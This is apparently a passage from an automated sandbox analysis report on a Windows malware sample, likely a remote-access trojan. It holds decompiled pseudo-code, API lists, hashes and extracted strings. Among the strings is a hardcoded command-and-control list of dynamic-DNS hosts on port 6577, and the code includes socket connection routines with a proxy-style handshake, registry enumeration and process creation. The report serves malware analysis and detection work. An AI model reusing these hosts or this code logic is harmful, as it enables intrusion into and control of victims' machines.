				signed int _v140;
				signed int _v144;
				signed int _v148;
				signed int _v152;
				signed int _v156;
				signed int _v160;
				signed int _v164;
				signed int _v188;
				signed int _v192;
				signed int _v196;
				signed int _v200;
				signed int _v204;
				signed int _v208;
				intOrPtr _v212;
				signed int _v216;
				char* _v220;
				signed int _v224;
				signed int _v228;
				signed int _v232;
				signed int _t257;
				signed int _t259;
				signed int _t261;
				signed short _t267;
				signed int _t269;
				signed int _t277;
				signed int _t280;
				signed int _t283;
				void* _t292;
				signed int _t301;
				void* _t319;
				signed int _t330;
				signed int _t337;
				void* _t340;
				void* _t348;
				signed int _t349;
				intOrPtr _t352;
				signed int _t360;
				signed int _t362;
				signed int _t364;
				intOrPtr _t365;
				void* _t370;
				signed int _t371;
				signed int _t385;
				intOrPtr _t391;
				signed int _t394;
				unsigned short _t399;
				signed int _t427;
				char* _t428;
				signed int _t434;
				signed int _t437;
				void* _t438;
				signed short _t439;
				signed int _t441;
				signed int _t442;
				char** _t445;
				char** _t446;
				char** _t447;

				_t445 =  &_v220;
				_t370 = _a4;
				_v88 = 0;
				_v86 = 0;
				_v128 = _a24;
				_t257 = _a28;
				_v164 = _a32;
				_v160 = _a36;
				if(_t257 < 0) {
					_t257 = 6;
				}
				_v148 = 1;
				_t434 = _t257 & 0x0000000f;
				_v108 = _t434;
				if(_t434 != 0) {
					_t385 = _t257 >> 0x0000000a & 0x00000001;
					_v148 = _t385;
				}
				if(_t370 == 0) {
					L30:
					return 0;
				} else {
					_t441 =  *(_t370 + 0x48);
					if(_t441 != 0 &&  *((intOrPtr*)(_t370 + 0x14)) == 2) {
						_v156 = _a16 != 0;
						if((_v156 & (_t385 & 0xffffff00 | _a12 == 0x00000000)) == 0 && _a8 != 0 && (_v128 == 0 || _a20 != 0) &&  *(_t370 + 0x10) != 0xffff && _v108 <= 0xa) {
							_t259 = _t257 & 0x00000400;
							_v104 = _t259;
							if(_t259 != 0) {
								__eflags = _v160;
								if(_v160 > 0) {
									goto L30;
								}
								L17:
								_t261 = E00414919(_a8);
								__eflags = _t261;
								if(_t261 == 0) {
									goto L30;
								}
								_v116 =  *_t370;
								_v112 =  *((intOrPtr*)(_t370 + 4));
								 *_t445 =  &_v60;
								L0041F6BC();
								_t371 =  &_v86;
								E00415FC6(_v60, _t371,  &_v88);
								asm("repne scasb");
								_t267 =  !(_t371 | 0xffffffff) - 1;
								__eflags = _t267 - 0xffff;
								_v132 = _t267;
								if(_t267 > 0xffff) {
									goto L30;
								}
								_t269 = E0041493A(_t370);
								__eflags =  *(_t370 + 0x10) - 0xffff;
								_t427 = _t269;
								if( *(_t370 + 0x10) == 0xffff) {
									goto L30;
								}
								_v140 = _t269;
								_v96 = 0;
								_v136 = 0;
								_v100 = _v132;
								asm("adc edx, 0x0");
								_v124 =  *_t370 + 0x4c;
								_v120 =  *((intOrPtr*)(_t370 + 4));
								asm("adc edx, [esp+0x74]");
								asm("adc edx, [esp+0x8c]");
								asm("adc edx, [esp+0x64]");
								__eflags = 0;
								if(0 > 0) {
									goto L30;
								}
								__eflags = _v132;
								_v124 = 0;
								if(_v132 == 0) {
									L26:
									_t277 = _v128 & 0x0000ffff;
									_t391 = _a4;
									_t374 = _t391 + _t277 + 0x2e + _v132;
									__eflags = _a8 - _t391 + _t277 + 0x2e + _v132;
									if(_a8 >= _t391 + _t277 + 0x2e + _v132) {
										L28:
										_t74 =  &(_a20[1]); // 0x3
										_t375 = _t74;
										__eflags = _t74 - _a24;
										if(_t74 <= _a24) {
											L31:
											__eflags = _v148;
											if(_v148 != 0) {
												L35:
												_t437 = 0;
												__eflags = 0;
												L36:
												_t428 = _t427 + 0x1e;
												 *_t445 = _t428;
												_t280 = E00414DC1(_t370, _v112, _v116, __eflags);
												__eflags = _t280;
												if(_t280 != 0) {
													asm("adc edx, [esp+0x7c]");
													_v140 = _v140 + _v116;
													_t283 =  *(_t370 + 0x20);
													_t394 =  *(_t370 + 0x24);
													__eflags = _t394 | _t283;
													if((_t394 | _t283) != 0) {
														asm("adc edx, 0xffffffff");
														__eflags = _v136 & _t394 | _v140 & _t283 + 0xffffffff;
														if((_v136 & _t394 | _v140 & _t283 + 0xffffffff) != 0) {
															_v228 = 0x1837;
															_v232 = 0x424620;
															 *_t445 = "(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0";
															L0041F7E4();
														}
													}
													asm("adc edx, [esp+0x7c]");
													_v156 =  &(_t428[_v116]);
													_v152 = 0;
													memset( &_v60, 0, 0x1e << 0);
													_t446 =  &(_t445[3]);
													_v228 = _v152;
													_v220 = _v132;
													_v224 = _a8;
													_v232 = _v156;
													 *_t446 =  *(_t370 + 0x44);
													_t292 =  *((intOrPtr*)(_t370 + 0x3c))();
													__eflags = _v132 - _t292;
													if(_v132 != _t292) {
														L49:
														_v232 = _t437;
														 *_t446 =  *(_t370 + 0x34);
														 *((intOrPtr*)(_t370 + 0x2c))();
														goto L30;
													} else {
														asm("adc edx, [esp+0x54]");
														__eflags = _v104;
														_v156 = _v100 + _v156;
														_v152 = _v96;
														if(_v104 != 0) {
															L44:
															__eflags = _v148;
															if(_v148 == 0) {
																__eflags = _a16;
																if(_a16 == 0) {
																	_v148 = 0;
																	_v144 = 0;
																	_t442 = 0;
																	__eflags = 0;
																	L53:
																	_v232 = _t437;
																	 *_t446 =  *(_t370 + 0x34);
																	 *((intOrPtr*)(_t370 + 0x2c))();
																	__eflags = _v144;
																	if(_v144 > 0) {
																		goto L30;
																	}
																	__eflags = _v152;
																	if(_v152 > 0) {
																		goto L30;
																	}
																	_t438 =  &_v60;
																	_t399 = _v86;
																	_v116 = _v88;
																	__eflags = _t442 - 1;
																	_t301 = memset(_t438, 0, 0x1e << 0);
																	_t447 =  &(_t446[3]);
																	asm("sbb eax, eax");
																	_v48 = _t399;
																	_v47 = _t399 >> 8;
																	_v60 = 0x50;
																	_v59 = 0x4b;
																	_v56 =  !_t301 & 0x00000014;
																	_v58 = 3;
																	_v52 = _t442;
																	_v57 = 4;
																	_v50 = _v116;
																	_v49 = _v116 >> 8;
																	E00414900( &_v46, _a40);
																	E00414900( &_v42, _v148);
																	E00414900( &_v38, _v164);
																	_v220 = 0x1e;
																	_v224 = _t438;
																	_v32 = 0;
																	_v31 = 0;
																	_v34 = _v132;
																	_v228 = _v136;
																	_v33 = _v132 >> 8;
																	_v232 = _v140;
																	 *_t447 =  *(_t370 + 0x44);
																	_t319 =  *((intOrPtr*)(_t370 + 0x3c))();
																	__eflags = _t319 - 0x1e;
																	if(_t319 != 0x1e) {
																		goto L30;
																	}
																	_v208 = _t442 & 0x0000ffff;
																	_v188 = _v124;
																	_v192 = _v136;
																	_v196 = _v140;
																	_v216 = _v144;
																	_v200 = _v86 & 0x0000ffff;
																	_v224 = _v160;
																	_v204 = _v88 & 0x0000ffff;
																	_v212 = _a40;
																	_v220 = _v148;
																	_v228 = _v164;
																	_v232 = _v128 & 0x0000ffff;
																	 *_t447 = _a20;
																	_t330 = E00416311(_t370, _v132 & 0x0000ffff, _a8);
																	__eflags = _t330;
																	if(_t330 == 0) {
																		goto L30;
																	}
																	_t253 = _t370 + 0x10;
																	 *_t253 =  &(1[ *(_t370 + 0x10)]);
																	__eflags =  *_t253;
																	 *_t370 = _v156;
																	 *((intOrPtr*)(_t370 + 4)) = _v152;
																	return 1;
																}
																_v228 = 0;
																_v232 = 0xfffffff1;
																_v84 = _t370;
																_v68 = 0;
																_v76 = _v156;
																_v72 = _v152;
																_v64 = 0;
																 *_t446 = _v108;
																_v224 = E0041A99E();
																_v232 = E00416018;
																 *_t446 = _t437;
																_v228 =  &_v84;
																_t337 = E0041A64C();
																__eflags = _t337;
																if(_t337 == 0) {
																	_v224 = 4;
																	 *_t446 = _t437;
																	_v228 = _a16;
																	_v232 = _a12;
																	_t340 = E0041A5F0();
																	__eflags = _t340 != 1;
																	if(_t340 != 1) {
																		goto L49;
																	}
																	_t442 = 8;
																	_v148 = _v68;
																	_v144 = _v64;
																	_v156 = _v76;
																	_v152 = _v72;
																	goto L53;
																}
																goto L49;
															}
															L45:
															_v220 = _a16;
															_v228 = _v152;
															_v224 = _a12;
															_v232 = _v156;
															 *_t446 =  *(_t370 + 0x44);
															_t348 =  *((intOrPtr*)(_t370 + 0x3c))();
															__eflags = _a16 - _t348;
															if(_a16 != _t348) {
																goto L49;
															}
															_t349 = _a16;
															_v156 = _v156 + _t349;
															asm("adc [esp+0x54], edx");
															__eflags = _v104 - 1;
															_v144 = 0;
															_v148 = _t349;
															asm("sbb ebp, ebp");
															_t442 =  !_t441 & 0x00000008;
															goto L53;
														}
														 *_t446 = 0;
														_v228 = _a16;
														_v232 = _a12;
														_t352 = E004171DA();
														__eflags = _a16 - 3;
														_a40 = _t352;
														_v160 = 0;
														_v164 = _a16;
														if(_a16 <= 3) {
															goto L45;
														}
														goto L44;
													}
												}
												_v232 = _t437;
												_v132 = _t280;
												 *_t445 =  *(_t370 + 0x34);
												 *((intOrPtr*)(_t370 + 0x2c))();
												return _v132;
											}
											__eflags = _v156;
											if(_v156 == 0) {
												goto L35;
											}
											_v228 = 0x4df40;
											_v232 = 1;
											 *_t445 =  *(_t370 + 0x34);
											_t360 =  *((intOrPtr*)(_t370 + 0x28))();
											__eflags = _t360;
											_t437 = _t360;
											if(__eflags != 0) {
												goto L36;
											}
											goto L30;
										}
										 *_t445 = 1;
										_t362 = E00416134(_t370, _t375,  &_a16);
										__eflags = _t362;
										if(_t362 != 0) {
											goto L31;
										}
										goto L30;
									}
									 *_t445 = 1;
									_t364 = E00416134(_t370, _t374, _t441);
									__eflags = _t364;
									if(_t364 == 0) {
										goto L30;
									}
									goto L28;
								}
								_t365 = _a8;
								_t439 = _v132;
								__eflags =  *((char*)(_t365 + _t439 - 1)) - 0x2f;
								if( *((char*)(_t365 + _t439 - 1)) != 0x2f) {
									goto L26;
								}
								__eflags = _v164 | _v160;
								if((_v164 | _v160) != 0) {
									goto L30;
								}
								__eflags = _v156;
								if(_v156 != 0) {
									goto L30;
								}
								_v124 = 0x10;
								goto L26;
							}
							if((_v160 | _v164) == 0) {
								goto L17;
							}
						}
					}
					goto L30;
				}
			}

APIs

time.MSVCRT ref: 0041C9C4

Part of subcall function 00415FC6: localtime.MSVCRT ref: 00415FDA

_assert.MSVCRT ref: 0041CBC3

Strings

(local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0, xrefs: 0041CBBC
P, xrefs: 0041CE70
K, xrefs: 0041CE78

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: _assertlocaltimetime
String ID: (local_dir_header_ofs & (pZip->m_file_offset_alignment - 1)) == 0$K$P
API String ID: 239888755-1719531008
Opcode ID: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction ID: 8e089169dfaa1868ebee7eec05d644c009e56557b81e72ef4d504278135b65ea
Opcode Fuzzy Hash: cd97700670ffc604625be893ed21d500fd9a320e9f0d6e3cdad60bc31f370bed
Instruction Fuzzy Hash: 9222BF7494D3818FD720CF29C58579BBBE1BF88704F14892EE89887351E7B8E885CB46

Uniqueness

Uniqueness Score: -1.00%

Function 004059D3, Relevance: 9.2, APIs: 6, Instructions: 166
networkCOMMON

Download Yara Rule

C-Code - Quality: 20%

			E004059D3(signed int __ecx, signed int _a4, signed int _a8) {
				char _v44;
				char _v48;
				signed int _v60;
				intOrPtr _v68;
				signed int _v72;
				intOrPtr _v80;
				intOrPtr _v84;
				signed int _v88;
				signed int _v92;
				intOrPtr _v96;
				void* __ebp;
				signed int _t57;
				intOrPtr _t61;
				signed int _t63;
				intOrPtr _t71;
				signed int _t73;
				intOrPtr _t77;
				intOrPtr _t83;
				signed int _t87;
				signed int _t89;
				intOrPtr _t90;
				char* _t93;
				char* _t94;
				char* _t95;
				signed int _t97;
				signed int _t98;
				signed int _t99;
				signed int* _t100;
				void* _t101;
				intOrPtr* _t102;

				_t88 = __ecx;
				_t100 =  &_v60;
				_t87 = _a4;
				_t97 = _a8;
				_v48 = 0xffffffff;
				if(E00408E53() != 4) {
					if(E00408E53() != 2) {
						_t93 =  &_v44;
						_v72 = _t97;
						 *_t100 = _t87;
						_v68 = _t93;
						_t57 = E004051B5(__ecx, _t90);
						if(_t57 != 0) {
							_v68 = 6;
							_v72 = 1;
							 *_t100 = 2;
							L0041F8E4();
							_t101 = _t100 - 0xc;
							_v60 = _t57;
							if(_t57 == 0xffffffff) {
								goto L28;
							}
							_v80 = 0x10;
							_v84 = _t93;
							_v88 = _t57;
							L0041F93C();
							_t102 = _t101 - 0xc;
							if(_t57 != 0) {
								L12:
								 *_t102 =  &_v72;
								_t57 = E00405999(_t90);
								goto L28;
							}
							L31:
							return _v72;
						}
						L28:
						return _t57 | 0xffffffff;
					}
					if( *0x42b300 == 0) {
						 *0x42b300 =  *0x42b304;
					}
					_t94 =  &_v44;
					_t98 =  &_v48;
					while(1) {
						_t61 =  *0x42b300;
						if(_t61 == 0) {
							goto L31;
						}
						_v68 = _t94;
						_t91 =  *((intOrPtr*)(_t61 + 0x44));
						 *_t100 = _t61 + 4;
						_v72 =  *((intOrPtr*)(_t61 + 0x44));
						_t63 = E004051B5(_t88,  *((intOrPtr*)(_t61 + 0x44)));
						if(_t63 == 0) {
							L26:
							 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
							continue;
						}
						_v68 = 0;
						_v72 = 1;
						 *_t100 = 2;
						L0041F8E4();
						_v80 = 0x10;
						_v84 = _t94;
						_v88 = _t63;
						_v60 = _t63;
						L0041F93C();
						_t100 = _t100;
						if(_t63 == 0) {
							_v88 = _t97;
							_v92 = _t87;
							_v96 =  *0x42b300;
							 *_t100 = _v72;
							if(E004058E9(_t98) == 0) {
								goto L23;
							}
							goto L31;
						}
						L23:
						 *_t100 = _t98;
						E00405999(_t91);
						goto L26;
					}
					goto L31;
				}
				if( *0x42b300 == 0) {
					 *0x42b300 =  *0x42b304;
				}
				_t95 =  &_v44;
				_t99 =  &_v48;
				while(1) {
					_t71 =  *0x42b300;
					if(_t71 == 0) {
						goto L31;
					}
					_v68 = _t95;
					_t92 =  *((intOrPtr*)(_t71 + 0x44));
					 *_t100 = _t71 + 4;
					_v72 =  *((intOrPtr*)(_t71 + 0x44));
					_t73 = E004051B5(_t88,  *((intOrPtr*)(_t71 + 0x44)));
					if(_t73 == 0) {
						L15:
						 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
						continue;
					}
					_v68 = 0;
					_v72 = 1;
					 *_t100 = 2;
					L0041F8E4();
					_v80 = 0x10;
					_v84 = _t95;
					_v88 = _t73;
					_v60 = _t73;
					L0041F93C();
					_t100 = _t100;
					if(_t73 != 0) {
						L14:
						 *_t100 = _t99;
						E00405999(_t92);
						goto L15;
					}
					_t92 =  *0x42b300;
					_t77 =  *((intOrPtr*)(_t92 + 0x88));
					_t88 =  *((intOrPtr*)(_t77 + 0x44));
					_v96 = _t92;
					_v92 = _t77 + 4;
					_v88 =  *((intOrPtr*)(_t77 + 0x44));
					 *_t100 = _v72;
					if(E004058E9(_t99) == 0) {
						goto L14;
					} else {
						goto L8;
					}
					while(1) {
						L8:
						 *0x42b300 =  *((intOrPtr*)( *0x42b300 + 0x88));
						_t90 =  *0x42b300;
						if(_t90 == 0) {
							goto L31;
						}
						_t83 =  *((intOrPtr*)(_t90 + 0x88));
						_t89 = _v72;
						if(_t83 == 0) {
							_v88 = _t97;
							_v92 = _t87;
						} else {
							_v92 = _t83 + 4;
							_v88 =  *(_t83 + 0x44);
						}
						_v96 = _t90;
						 *_t100 = _t89;
						if(E004058E9(_t99) != 0) {
							continue;
						} else {
							goto L12;
						}
					}
					goto L31;
				}
				goto L31;
			}

APIs

socket.WS2_32 ref: 00405A55
connect.WS2_32 ref: 00405A70

Part of subcall function 00405999: shutdown.WS2_32 ref: 004059B6
Part of subcall function 00405999: closesocket.WS2_32(00000000), ref: 004059C2

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

socket.WS2_32 ref: 00405B97
connect.WS2_32 ref: 00405BB2
socket.WS2_32 ref: 00405C34
connect.WS2_32 ref: 00405C54

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: connectsocket$closesocketgethostbynamehtonsshutdown
String ID:
API String ID: 4225652895-0
Opcode ID: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction ID: dc7f80c90ba20af356347f24dd4de35e54817c060e921352895bdcebc13e1e4f
Opcode Fuzzy Hash: 257ab1642c2ba7176df9333284737b40def127f22e375dc60ae8d0ec264ec92a
Instruction Fuzzy Hash: 7D71B7B0508B059FD710EF29D58465BBBE0FF84354F54893EE88897392D778A4468F4A

Uniqueness

Uniqueness Score: -1.00%

Function 0040E7B0, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 133stringCOMMON

Download Yara Rule

APIs

Part of subcall function 00408042: MultiByteToWideChar.KERNEL32 ref: 00408094
Part of subcall function 00408042: _wfopen.MSVCRT ref: 004080AE
Part of subcall function 00408042: fgetpos.MSVCRT ref: 004080F0
Part of subcall function 00408042: fsetpos.MSVCRT ref: 00408126
Part of subcall function 00408042: malloc.MSVCRT ref: 00408132
Part of subcall function 00408042: fread.MSVCRT ref: 00408152
Part of subcall function 00408042: realloc.MSVCRT ref: 00408168
Part of subcall function 00408042: fclose.MSVCRT ref: 00408174

sprintf.MSVCRT ref: 0040E826
strcmp.MSVCRT ref: 0040E836
strcmp.MSVCRT ref: 0040E84A

Part of subcall function 00407F59: free.MSVCRT ref: 00407F6A

Strings

0x0D, xrefs: 0040E82B
0x05, xrefs: 0040E83F
0x%02hhX, xrefs: 0040E817

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: strcmp$ByteCharMultiWide_wfopenfclosefgetposfreadfreefsetposmallocreallocsprintf
String ID: 0x%02hhX$0x05$0x0D
API String ID: 1330035125-510206825
Opcode ID: 5bfd7d33b9264fe6d59894cbc2c2fbdfd65a3e87ae0f2d51b5c5438627f9c67e
Instruction ID: fdfcf3b1e6d7a29e44e35a9c55760ec6cf89f17ce0171d51df2376aeaa79d3d9
Opcode Fuzzy Hash: 5bfd7d33b9264fe6d59894cbc2c2fbdfd65a3e87ae0f2d51b5c5438627f9c67e
Instruction Fuzzy Hash: D551CDB19093409FC380EF2AC48461ABBF0BF88748F449D2EF4C897251E779D994CB46

Uniqueness

Uniqueness Score: -1.00%

Function 00408C65, Relevance: 9.1, APIs: 3, Strings: 3, Instructions: 112COMMON

Download Yara Rule

APIs

malloc.MSVCRT ref: 00408C81
malloc.MSVCRT ref: 00408D36
malloc.MSVCRT ref: 00408D91

Strings

@, xrefs: 00408DEB
netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;, xrefs: 00408C90, 00408CC9
:, xrefs: 00408DFB

Memory Dump Source

Source File: 00000006.00000002.394088134.0000000000400000.00000040.00000001.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000002.394118318.000000000042B000.00000040.00000001.sdmp Download File
Associated: 00000006.00000002.394126982.0000000000430000.00000040.00000001.sdmp Download File

Yara matches

Similarity

API ID: malloc
String ID: :$@$netno.ddns.net:6577;ddns.dbcdubai.com:6577;netsecond.duckdns.org:6577;
API String ID: 2803490479-1058800992
Opcode ID: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction ID: ef4ad269280774ff2184a95f10acb59d81b6a7d54bd4368cac39de452cc0daf6
Opcode Fuzzy Hash: 92bcfbf36f97e7b9ce3a5bb17cc0fb52a2a6fa959f7768e43986a6bb5ba9e5b6
Instruction Fuzzy Hash: 975128B05087009FD310EF29D58425ABBE0FF88718F41892EF5D887291D7B8958ACF8A

Uniqueness

Uniqueness Score: -1.00%

Function 004106BD, Relevance: 9.1, APIs: 6, Instructions: 85registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,00408ECF), ref: 004106EF
RegQueryValueExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410728
RegOpenKeyExA.ADVAPI32(?,?,?,?,?,?,?,?,?,?,?,?,?,?,?,?), ref: 00410765
RegQueryValueExA.ADVAPI32 ref: 004107A0
RegQueryValueExA.ADVAPI32 ref: 004107DD
RegCloseKey.ADVAPI32 ref: 004107F3

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: QueryValue$Open$Close
String ID:
API String ID: 2855150075-0
Opcode ID: 7acb46318583f52b162adab98c30d4c4b02cafbce71d0fe327e00207db92c82c
Instruction ID: b9298c354bfd1ad9ab6003ea3d07812b51851590691558723ca7996c5ddaa5d6
Opcode Fuzzy Hash: 7acb46318583f52b162adab98c30d4c4b02cafbce71d0fe327e00207db92c82c
Instruction Fuzzy Hash: 8331C3B55083059BD300AF6AC54435BFBE4BB84758F40892EF89897351D7B8EA898F86

Uniqueness

Uniqueness Score: -1.00%

Function 00401DD8, Relevance: 9.1, APIs: 4, Strings: 2, Instructions: 58
stringCOMMON

Download Yara Rule

C-Code - Quality: 31%

			E00401DD8(void* __ebx, void* __ebp, char* _a4, intOrPtr _a8, char _a12, intOrPtr _a16, char _a716, char _a1232) {
				void* _t23;
				intOrPtr* _t31;

				 *_t31 = 0x414;
				_t23 = malloc(??);
				if(_t23 != 0) {
					 *__esp = __ebx;
					_a16 = 0x204;
					__ebp = __ebp | 0xffffffff;
					_a12 = __eax;
					_a8 = 1;
					_a4 = 7;
					__eax = E004129FB(__eax);
					__eax =  &_a1232;
					 *__esp = __ebx;
					_a16 = 0x1000;
					_a8 = 2;
					_a4 = 7;
					__ebx =  &_a716;
					_a12 = __eax;
					__eax = E004129FB(__eax);
					_t11 =  &(__esi[0x204]); // 0x204
					__eax = _t11;
					__esi[0x40c] = 0;
					strcpy(_t11, __esi) = strcpy(__ebx, __esi);
					__eax = 0;
					__ecx = __ebp;
					asm("repne scasb");
					__ecx =  !__ebp;
					 *((char*)(__esp + __ecx + 0x2ca)) = 0;
					__eax = strcat(__ebx, 0x422a15);
					__eax = E0041E44C(__ecx, __edx, __eax, 6, 0x77);
					__ecx = __ebp;
					__esi[0x408] = __eax;
					__eax = 0;
					asm("repne scasb");
					 !__ebp =  !__ebp - 1;
					__esi[0x410] =  !__ebp - 1;
					_a4 = __esi;
					 *__esp = E00406F83;
					_t23 = E00407F08();
				}
				return _t23;
			}

APIs

malloc.MSVCRT ref: 00401DDF
strcpy.MSVCRT ref: 00401E60
strcpy.MSVCRT ref: 00401E6C
strcat.MSVCRT ref: 00401E8E

Part of subcall function 0041E44C: malloc.MSVCRT ref: 0041E48F
Part of subcall function 0041E44C: free.MSVCRT ref: 0041E510

Strings

w, xrefs: 00401E93
.zip, xrefs: 00401E83

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: mallocstrcpy$freestrcat
String ID: .zip$w
API String ID: 50812093-307292267
Opcode ID: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction ID: b1c1002ecfc918ecf1bb7e30c12c5e9030ce2ae0e5289fadf73960591331f9fa
Opcode Fuzzy Hash: 12eced5c5e03f3a4b95ac78e48c1e8d48df6755b0805452f08ce4e9f4e93a691
Instruction Fuzzy Hash: 3421FCF05087059FD310AF25D18839EBBE0BB84758F11CD2EE4DC87291D7BD84899B4A

Uniqueness

Uniqueness Score: -1.00%

Function 00405328, Relevance: 8.8, APIs: 4, Strings: 1, Instructions: 89
networkCOMMON

Download Yara Rule

C-Code - Quality: 48%

			E00405328(void* __edx, char _a4, intOrPtr _a8, intOrPtr _a12) {
				char _v284;
				char _v286;
				char _v288;
				char _v289;
				char _v293;
				char _v295;
				char _v296;
				char _v297;
				char _v317;
				char _v336;
				char* _v340;
				char* _v344;
				char _v348;
				intOrPtr _v352;
				intOrPtr _v356;
				char _v360;
				char _v361;
				intOrPtr _v380;
				char _v384;
				intOrPtr _v388;
				void* _t53;
				intOrPtr _t56;
				signed int _t57;
				char _t60;
				void* _t61;
				void* _t62;
				char* _t63;
				char* _t64;
				char* _t65;
				intOrPtr* _t67;
				intOrPtr* _t68;

				_t62 = __edx;
				_t60 = _a4;
				_v340 =  &_v288;
				if(E004051B5(_t61, __edx, _a8, _a12) != 0) {
					_t64 =  &_v297;
					E004129E4(_t64, 0, 9);
					_v340 = 2;
					_v297 = 4;
					_v296 = 1;
					_v344 =  &_v286;
					_v348 =  &_v295;
					E00412AA3();
					_t53 = E00412AA3( &_v293,  &_v284, 4);
					_v336 = 0;
					_v340 = 9;
					_v344 = _t64;
					_v348 = _t60;
					_v289 = 0;
					L0041F8FC();
					_t67 =  &_v336 - 0x10;
					if(_t53 != 9) {
						goto L1;
					}
					_t65 =  &_v317;
					_v356 = 4;
					_v360 = 0;
					_t63 =  &_v288;
					 *_t67 = _t65;
					E004129E4();
					_t56 = _t60 + 1;
					_v348 = 0;
					_v352 = 0;
					_v356 = 0;
					_v360 = _t63;
					 *_t67 = _t56;
					_v284 = _t60;
					_v288 = 1;
					L0041F904();
					_t68 = _t67 - 0x14;
					if(_t56 <= 0) {
						goto L1;
					}
					_v380 = _t63;
					_v384 = _t60;
					L0041F94C();
					_push(_t62);
					_push(_t62);
					if(_t56 == 0) {
						goto L1;
					}
					_v380 = 0;
					_v384 = 4;
					_v388 = _t65;
					 *_t68 = _t60;
					L0041F90C();
					if(_t56 != 4) {
						goto L1;
					}
					_t57 = 0;
					if(_v361 == 0) {
						_t57 = 0 | _v360 == 0x0000005a;
					}
					return _t57 & 0x00000001;
				}
				L1:
				return 0;
			}

APIs

Part of subcall function 004051B5: gethostbyname.WS2_32 ref: 004051C5
Part of subcall function 004051B5: htons.WS2_32 ref: 00405202

send.WS2_32 ref: 004053DF
select.WS2_32 ref: 0040543E
__WSAFDIsSet.WS2_32 ref: 00405455
recv.WS2_32 ref: 0040547B

Strings

Z, xrefs: 00405497

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: gethostbynamehtonsrecvselectsend
String ID: Z
API String ID: 3406712544-1505515367
Opcode ID: 449d4b15f80a29c733a493597063cfde938150944d976ecd7df47141a1def0a6
Instruction ID: 23d78d97f939ce5eec82cec168d6e0a92f1c2ef35d1e3e5c2e22ff38ea37f4dc
Opcode Fuzzy Hash: 449d4b15f80a29c733a493597063cfde938150944d976ecd7df47141a1def0a6
Instruction Fuzzy Hash: 7941D3B0419740AEE750EF25C58439FBBE4EF84748F409C2EF8D897241D3BA85888B57

Uniqueness

Uniqueness Score: -1.00%

Function 004109D8, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 63registryCOMMON

Download Yara Rule

APIs

RegOpenKeyExA.ADVAPI32 ref: 00410A0F
RegEnumKeyExA.ADVAPI32 ref: 00410A66
RegCloseKey.ADVAPI32 ref: 00410AC5

Part of subcall function 004127A8: _vsnprintf.MSVCRT ref: 004127CC

Strings

@, xrefs: 00410AB1
@, xrefs: 00410A85

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseEnumOpen_vsnprintf
String ID: @$@
API String ID: 2247870055-149943524
Opcode ID: 4af8ef1c9b8c2e1b679c7896dbdc8660dbd74620ed8b4f8cb5af9a0fd6401769
Instruction ID: 60464b3a6ff270cdd1110ed30ec9e4aee9a85b9f4642497f56cba53994ffc826
Opcode Fuzzy Hash: 4af8ef1c9b8c2e1b679c7896dbdc8660dbd74620ed8b4f8cb5af9a0fd6401769
Instruction Fuzzy Hash: A321E3B45083019FD310EF6AC18479BBBE4BF98358F40892EE5D893340D7B895898F97

Uniqueness

Uniqueness Score: -1.00%

Function 00406D22, Relevance: 8.8, APIs: 3, Strings: 2, Instructions: 50processCOMMON

Download Yara Rule

APIs

CreateProcessA.KERNEL32 ref: 00406DD4
CloseHandle.KERNEL32 ref: 00406DE7
CloseHandle.KERNEL32(00000000), ref: 00406DF4

Strings

D, xrefs: 00406D51
D, xrefs: 00406D31

Memory Dump Source

Source File: 00000006.00000001.393727825.0000000000400000.00000040.00020000.sdmp, Offset: 00400000, based on PE: true

Associated: 00000006.00000001.393840139.0000000000430000.00000040.00020000.sdmp Download File

Yara matches

Similarity

API ID: CloseHandle$CreateProcess
String ID: D$D
API String ID: 2922976086-143366177
Opcode ID: 210b95e98878966edea71671788c2c7d13693a52d3674cbc12837110b92085ad
Instruction ID: 1d5ca1a389bb095c29e0a852d1ac0a4b0f4293584b711be652509fdf01780871
